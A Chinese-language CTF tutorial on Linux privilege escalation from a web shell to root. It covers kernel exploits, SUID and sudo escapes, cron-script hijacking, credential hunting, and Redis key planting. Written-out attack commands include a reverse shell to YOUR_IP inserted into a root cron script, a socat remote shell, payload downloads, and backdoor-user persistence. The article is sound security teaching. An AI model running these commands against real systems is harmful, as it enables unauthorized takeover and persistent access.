ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

CTF Web安全提权实战:从低权限Shell到Root权限的完整攻击链

CTF Web安全提权实战:从低权限Shell到Root权限的完整攻击链 1. 从解题到实战为什么Web安全提权是CTF的核心与基石如果你刚开始接触CTFCapture The Flag夺旗赛尤其是Web安全方向可能会觉得题目五花八门SQL注入、文件上传、命令执行……解出一道题拿到一个flag很有成就感。但很多新手在遇到需要“提权”的关卡时往往会卡住感觉之前的攻击链条突然断了。这其实是因为提权是Web安全从“点到面”、从“漏洞利用”到“系统控制”的关键一跃。简单来说在CTF的Web题目里你前期做的所有工作——信息收集、漏洞发现、利用漏洞拿到一个低权限的shell比如www-data用户——都只是拿到了进入系统大门的“访客卡”。这个访客卡权限很低你只能在网站目录里看看动不了核心的系统文件更看不到那个最终决定胜负的flag文件它往往被放在只有root用户才能访问的地方。提权就是把你手中的这张“访客卡”通过各种技术手段升级成能打开所有房间的“管理员万能钥匙”的过程。我打CTF和做渗透测试这些年一个深刻的体会是不会提权就等于只学会了“破窗”但没学会“开保险箱”。很多比赛的决胜局或者真实红队评估的深度都体现在提权这一步。它考验的不仅仅是某个漏洞的利用更是你对操作系统尤其是Linux、服务配置、权限模型和安全机制的综合性理解。网上资料虽然多但往往比较零散要么只讲漏洞利用要么只讲提权命令中间缺少关键的“串联”逻辑。这篇指南我就结合最常见的CTF场景和实战经验帮你把这条从Web漏洞到root权限的完整链条理清楚让你不仅知道要“跑什么脚本”更明白“为什么要这么跑”以及“下一步该往哪里看”。2. 提权全景图理解权限提升的四大核心路径在深入具体命令之前我们必须先建立起一个宏观的框架。在Linux系统绝大多数CTF Web靶机都是Linux中从低权限用户如www-data,apache,nobody提升到root权限主要有四大类路径。理解这些路径就像拿到了地图能让你在复杂的提权过程中不迷失方向。2.1 路径一内核漏洞提权——最“暴力”的通用方法这是最经典也往往是最有效的提权方式。操作系统内核Kernel本身也是一个软件难免存在漏洞。如果存在一个内核漏洞允许低权限用户执行特定代码来直接获取root权限那么这就是我们的“黄金门票”。核心原理利用内核在内存管理、系统调用、驱动模块等层面的设计缺陷通过精心构造的利用程序Exploit触发漏洞劫持程序执行流程最终执行赋予我们root权限的代码。CTF中的典型场景题目提供的靶机镜像往往是一个故意保留了已知漏洞内核的旧版本系统。比如著名的Dirty COW(CVE-2016-5195)、sudo漏洞CVE-2021-3156等。操作流程信息收集拿到低权限shell后第一件事就是uname -a查看内核版本或者cat /proc/version。漏洞匹配将获得的内核版本号与公开的漏洞数据库如searchsploit进行比对寻找可用的本地提权Local Privilege Escalation, LPE漏洞。利用尝试在靶机上下载或上传对应的漏洞利用代码Exploit编译并执行。很多Exploit是C语言写的可能需要gcc编译。注意事项与心得编译环境靶机可能没有gcc。你需要检查which gcc或者尝试安装。如果不行就要考虑在本地相同架构的环境下交叉编译好再上传到靶机。依赖库Exploit可能依赖特定的内核头文件或库如果缺失会导致编译失败。这时可以尝试寻找静态编译版本的Exploit或者用musl-gcc这类工具生成更兼容的二进制文件。成功率内核漏洞提权虽然强大但并非百分百成功。高版本内核可能已打补丁或者Exploit对系统环境有特定要求如特定发行版、特定配置。永远要有备选方案。2.2 路径二利用配置不当的服务与计划任务这是CTF中最常见、也最考验细心程度的提权路径。系统管理员或出题人在配置系统服务、定时任务Cron Job时如果设置了错误的权限就可能为我们留下后门。SUID/SGID文件滥用原理SUIDSet User ID是Linux的一种特殊权限。当一个具有SUID权限的可执行文件被运行时它会以文件所有者的权限执行而不是执行者的权限。如果root用户拥有的、具有SUID权限的程序本身存在漏洞或者可以被我们用来执行任意命令我们就能借机获得root权限。实战操作在低权限shell中运行find / -perm -us -type f 2/dev/null。这条命令会查找系统中所有设置了SUID位的文件。然后你需要对找到的文件逐一进行“审计”。常见的危险目标包括find(如果版本较旧可利用-exec参数)vim/vibash(某些版本)more/lessnmap(交互模式)cp/mv举例如果发现/usr/bin/find有SUID位且属于root可以尝试find . -exec /bin/bash -p \;。这里的-p参数是告诉bash保留提升的权限。计划任务Cron Job漏洞原理Cron任务通常以root权限定期执行。如果我们可以写入或覆盖被Cron执行的脚本、二进制文件或者该脚本引用了我们可控的路径那么当Cron执行时我们的恶意代码就会以root权限运行。实战操作查看系统级Cron任务cat /etc/crontabls -la /etc/cron.d/ls -la /etc/cron.hourly/等。查看用户级Cron任务对于当前用户可以看crontab -l但通常低权限用户看不到root的。更常见的是检查/var/spool/cron/crontabs/目录需要root读权限。关键点仔细阅读Cron任务的内容。寻找通配符*滥用例如一个Cron任务执行rm /tmp/reports/*。如果我们在/tmp/reports/下创建一个名为--help的文件rm命令可能会将其解析为参数导致意外行为经典的“通配符注入”。相对路径调用如果脚本里直接写了python script.py而没有用绝对路径/usr/bin/python那么我们可以通过修改PATH环境变量让系统执行我们自己的恶意python程序。可写脚本检查Cron执行的脚本文件本身是否全局可写ls -la /path/to/script.sh。如果是直接编辑它插入反向shell或添加用户命令。心得这条路径是“信息收集”和“逻辑推理”的结合。它不需要复杂的漏洞利用代码但需要你对Linux系统运作方式有基本了解并且有足够的耐心去“翻找”和“分析”。一个黄金习惯任何时候拿到shell都先顺手跑一下SUID查找和看一眼/etc/crontab。2.3 路径三凭证窃取与密码复用在CTF中出题人有时会把密码“藏”在系统的各个角落模拟现实中管理员安全意识薄弱的情况。历史命令与配置文件检查当前用户的.bash_history文件cat ~/.bash_history。管理员可能直接在这里输入过密码。检查Web应用的配置文件如/var/www/html/config.php,wp-config.php等里面可能有数据库密码。有时数据库密码就是root用户的密码密码复用。检查其他服务的配置文件/etc/mysql/my.cnf,/etc/postgresql/.../pg_hba.conf等。内存中的秘密使用ps auxfww或top命令查看所有进程。有时能看到命令行中直接带密码的参数比如mysql -u root -pSuperSecretPassword。弱密码与默认密码尝试用收集到的密码直接su root或者sudo su。常见的弱密码如root:root,admin:admin,password123等。也可以尝试用数据库密码去登录系统root账户。心得这种方法技术含量看似不高但非常有效。它要求你具备“侦探”般的嗅觉不放过任何文本文件和环境信息。养成条件反射看到密码就试试能不能su或sudo。2.4 路径四利用“影子”资产——sudo与Capabilities这是配置不当的另一种高级形式权限控制更加精细。sudo权限滥用sudo允许授权用户以其他用户通常是root的身份执行命令。通过sudo -l命令可以查看当前用户被允许以root身份运行哪些命令。如果输出显示(ALL : ALL) ALL那恭喜你可以直接sudo bash拿到rootshell。但在CTF中通常不会这么直接。更常见的是受限的sudo例如允许运行/usr/bin/vim,/usr/bin/find,/usr/bin/python等。这仍然是一个巨大的突破口。因为很多命令都可以用来“逃逸”到shell。sudo vim -c ‘:! /bin/bash’或sudo vim然后在vim内输入:!bashsudo python -c ‘import os; os.system(“/bin/bash”)’sudo find / -exec /bin/bash \;关键仔细阅读sudo -l的输出思考每一条允许的命令能否被用来执行任意代码或启动shell。Linux Capabilities提权Capabilities是比root更细粒度的权限划分模型。一个进程可以被赋予部分特权而不需要完整的root权限。使用getcap -r / 2/dev/null命令递归查找系统中设置了特殊Capabilities的文件。危险的Capability例如cap_setuid它允许二进制文件任意设置其有效用户ID。如果/usr/bin/python3被设置了cap_setuidep那么你可以通过Python直接调用os.setuid(0)来变成root。虽然CTF中不如SUID常见但一旦出现往往是解题的关键线索。提示这四条路径并非互斥在实际的CTF解题或渗透测试中你需要像侦探一样沿着每一条线索进行排查。通常的顺序是1. 检查sudo -l2. 查找SUID/SGID文件3. 查看计划任务4. 搜索系统信息和凭证5. 最后考虑内核漏洞利用。内核漏洞通常作为“终极手段”因为它的动静可能最大。3. 实战演练构建从Web Shell到Root的完整攻击链现在我们假设一个典型的CTF Web题目场景将上述理论串联成一次完整的实战操作。假设我们通过一个文件上传漏洞上传了一个PHP的Web Shell并成功连接。3.1 第一步稳固立足点——升级低权限Shell通过Web Shell获得的交互环境通常很简陋被称为“哑shell”功能受限没有作业控制job control按CtrlC可能会断开连接也无法使用su、sudo等需要tty的程序。操作我们需要将它升级为一个功能完整的TTY Shell。方法根据靶机环境选择Python PTY最推荐几乎通用python3 -c ‘import pty; pty.spawn(“/bin/bash”)’如果只有python去掉3。执行后再按CtrlZ将进程挂起到后台然后在你自己的攻击机终端输入stty raw -echo; fg最后在获得的shell里输入reset并回车。这样你就得到了一个支持命令历史、作业控制的全功能shell。其他语言# 使用 socat (需要靶机安装) # 先在攻击机监听socat file:tty,raw,echo0 tcp-listen:4444 # 在靶机执行socat exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:YOUR_IP:4444 # 使用 Perl perl -e ‘exec “/bin/bash”;’ # 使用 Ruby ruby -e ‘exec “/bin/bash”’心得升级Shell是提权前至关重要的一步。一个稳定的、全功能的shell能让你后续的信息收集和漏洞利用过程顺畅无数倍避免很多奇怪的错误。3.2 第二步深度信息收集——绘制系统地图在稳固的Shell中开始系统地收集信息。我习惯将这些命令写成一个简单的脚本一次性执行。系统与内核信息uname -a # 内核版本 cat /etc/issue /etc/*-release # 系统发行版 cat /proc/version用户与权限信息id # 当前用户信息 whoami sudo -l # **重中之重** cat /etc/passwd # 查看所有用户 cat /etc/group # 查看所有组进程与服务信息ps auxfww # 查看所有进程注意带密码的命令行 netstat -tulpn / ss -tulpn # 查看网络连接和监听端口 systemctl list-units --typeservice # 查看系统服务文件与配置审计find / -perm -us -type f 2/dev/null # 查找SUID文件 getcap -r / 2/dev/null # 查找特殊Capabilities文件 cat /etc/crontab ls -la /etc/cron.*/ # 查看计划任务 ls -la /var/spool/cron/crontabs/ 2/dev/null敏感文件搜索find / -name “*.php” -o -name “*.conf” -o -name “config*” 2/dev/null | head -20 # 找配置文件 find / -type f -name “*.bak” -o -name “*.old” -o -name “*.swp” 2/dev/null # 找备份文件 grep -r “password\|passwd\|PWD\|secret” /etc /var/www 2/dev/null | grep -v “\.log” # 简单搜索密码心得信息收集不是机械地跑命令而要边跑边思考。看到sudo -l有输出立刻停下来分析。看到不常见的SUID文件马上搜索一下它有没有已知的提权方法。把信息收集的过程变成一个动态的、不断产生新假设并验证的过程。3.3 第三步针对性利用——选择最佳攻击路径根据第二步收集到的信息选择最有可能成功的提权路径发起攻击。场景A发现可利用的SUID文件如旧版find# 假设 /usr/bin/find 有SUID位 /usr/bin/find . -exec /bin/bash -p \; # 或者 /usr/bin/find . -exec /bin/sh -p \;执行成功后输入id你应该能看到uid0(root)。场景B发现可利用的Cron任务假设在/etc/crontab中发现一行* * * * * root /opt/scripts/backup.sh检查发现/opt/scripts/backup.sh全局可写-rwxrwxrwxls -la /opt/scripts/backup.sh # 输出 -rwxrwxrwx 1 root root 100 ...那么直接编辑这个文件在末尾添加我们的提权命令echo ‘chmod us /bin/bash’ /opt/scripts/backup.sh # 或者添加一个反弹shell到我们的监听端 # echo ‘bash -i /dev/tcp/YOUR_IP/4444 01’ /opt/scripts/backup.sh然后等待最多一分钟Cron任务执行后/bin/bash就会拥有SUID位直接运行/bin/bash -p即可获得rootshell。场景C发现可利用的sudo权限如果sudo -l返回User www-data may run the following commands on target: (ALL) NOPASSWD: /usr/bin/vim那么sudo vim -c ‘:! /bin/bash’ # 或者在vim中按 :!bash 回车或者用vim读取只有root能读的文件sudo vim /root/flag.txt场景D发现内核漏洞如果信息收集发现内核版本很旧如3.13.0匹配到Dirty COW漏洞。在攻击机上下载Exploit代码如dirty.c。在靶机上找一个可写目录如/tmp将Exploit上传可以用wget从你的服务器下载或者用base64编码后通过echo写入。在靶机上编译并执行cd /tmp gcc dirty.c -o dirty -pthread ./dirty如果成功会提示你输入一个新密码然后可以通过su firefart漏洞创建的root权限用户登录。心得不要一条路走到黑。如果第一条路径尝试失败比如Exploit编译出错或者执行没反应立即回头审视其他收集到的信息尝试第二条、第三条路径。CTF环境和真实系统都存在不确定性灵活切换思路是必备能力。3.4 第四步获取最终凭证——寻找Flag与巩固权限提权成功后第一件事当然是去读flag。寻找FlagFlag可能在任何地方但常见位置包括/root/flag.txt,/root/flag,/root/.flag/flag,/home/*/flag环境变量中env | grep -i flag在数据库里如果你之前拿到了数据库权限一个技巧使用find命令find / -name “*flag*” -o -name “*.txt” 2/dev/null | grep -v “/proc\|/sys”巩固权限CTF中可选实战必做在真实渗透测试中提权后需要维持访问权限。添加一个后门用户useradd -m -s /bin/bash backdoor echo ‘backdoor:password’ | chpasswd或者给现有用户添加sudo权限usermod -aG sudo www-data放置一个SSH公钥到/root/.ssh/authorized_keys。注意在CTF比赛中除非题目要求否则不要修改系统状态以免影响其他选手或判题机。4. 避坑指南与高阶技巧那些只有踩过坑才知道的事掌握了基本流程下面这些从实战中总结的经验和技巧能让你少走很多弯路。4.1 信息收集阶段的常见盲点不要忽略“奇怪”的文件夹/opt/,/home/下的其他用户目录、/tmp/下的其他用户文件、/dev/shm。这些地方可能藏着出题人留下的线索或可写脚本。仔细阅读每一个你能读的文件特别是Web目录下的.git文件夹如果存在README.mdCHANGELOG 甚至robots.txt。出题人可能把密码或提示放在“明面”上。检查环境变量env命令。有时关键路径或密码会放在环境变量里。查看已安装软件版本dpkg -l(Debian/Ubuntu) 或rpm -qa(CentOS/RHEL)。旧版本的软件本身可能就是提权点。4.2 漏洞利用时的典型问题与解决Exploit编译失败错误fatal error: linux/compiler-gcc.h: No such file or directory原因缺少内核头文件。解决尝试安装linux-headersapt-get update apt-get install linux-headers-$(uname -r)。如果网络不通或没权限就寻找静态编译的、不依赖头文件的Exploit二进制版本。错误error: ‘PR_SET_NAME’ undeclared原因Exploit代码依赖的宏定义在靶机内核中不存在。解决尝试其他Exploit。同一个CVE可能有多个不同人写的利用代码对内核版本要求不同。Exploit执行后没反应或系统崩溃原因内核漏洞利用不稳定可能导致内核恐慌Kernel Panic靶机重启。解决这是内核漏洞利用的常态。务必在运行Exploit前先尝试其他更稳定的提权方法SUID、sudo等。把内核漏洞当作最后手段。如果靶机崩溃通常比赛环境会很快重置。4.3 针对特定服务的提权思路MySQL / MariaDB提权如果你通过Web漏洞拿到了数据库的root用户密码可以尝试在数据库内执行系统命令。-- 查看是否支持UDF用户自定义函数提权 SELECT version(); -- 尝试写一个共享库到插件目录但需要FILE权限和插件目录可写CTF中较少见。 -- 更常见的是利用数据库的‘sys_exec’函数如果启用或通过‘into outfile’写Web Shell。Redis未授权访问提权如果发现Redis服务默认6379可未授权访问可以写入SSH公钥或Crontab任务来提权。# 连接到Redis redis-cli -h target_ip # 设置保存路径为/root/.ssh/ config set dir /root/.ssh/ config set dbfilename authorized_keys set x “\n\n你的SSH公钥\n\n” save心得Web安全提权从来不是孤立的。你前期发现的任何一个服务数据库、缓存、消息队列都可能成为后期提权的跳板。保持横向移动的意识拿到一个服务的权限后想想它能不能帮你接触到更核心的系统组件或数据。4.4 工具化与自动化辅助虽然手动操作能加深理解但合理使用工具能极大提高效率。信息收集脚本除了手动命令可以使用成熟的脚本进行初步筛查。LinEnum.sh经典的Linux本地枚举脚本功能全面。linuxprivchecker.py一个Python写的权限检查脚本。PEASS-ng现在更流行的是LinPEAS它是PEASS-ng套件的一部分颜色高亮输出对潜在漏洞点有非常清晰的提示强烈推荐。使用方法在你的攻击机上启动HTTP服务python3 -m http.server 8000然后在靶机shell里用wget或curl下载并执行。cd /tmp wget http://YOUR_IP:8000/linpeas.sh chmod x linpeas.sh ./linpeas.sh注意工具只是辅助它的输出需要你用自己的知识去分析和判断。不要盲目相信工具标出的每一个“警告”有些可能是误报。工具帮你缩小范围最终的判断和利用要靠你自己。Web安全提权是连接Web漏洞与系统权限的桥梁是CTF比赛中区分新手与高手的关键分水岭。它没有一成不变的公式更像是一场在既定规则系统配置、权限模型下的“寻宝游戏”。核心在于三点全面的信息收集、对Linux系统机制的深刻理解、以及面对失败时快速切换思路的灵活性。从今天起每拿到一个低权限shell不要只满足于当前目录下的flag试着把它当作一次提权练习按照本文的路径走一遍。当你第一次通过自己的分析利用一个配置不当的SUID文件或Cron任务拿到rootshell时那种豁然开朗的成就感正是CTF和安全研究最大的乐趣所在。
返回列表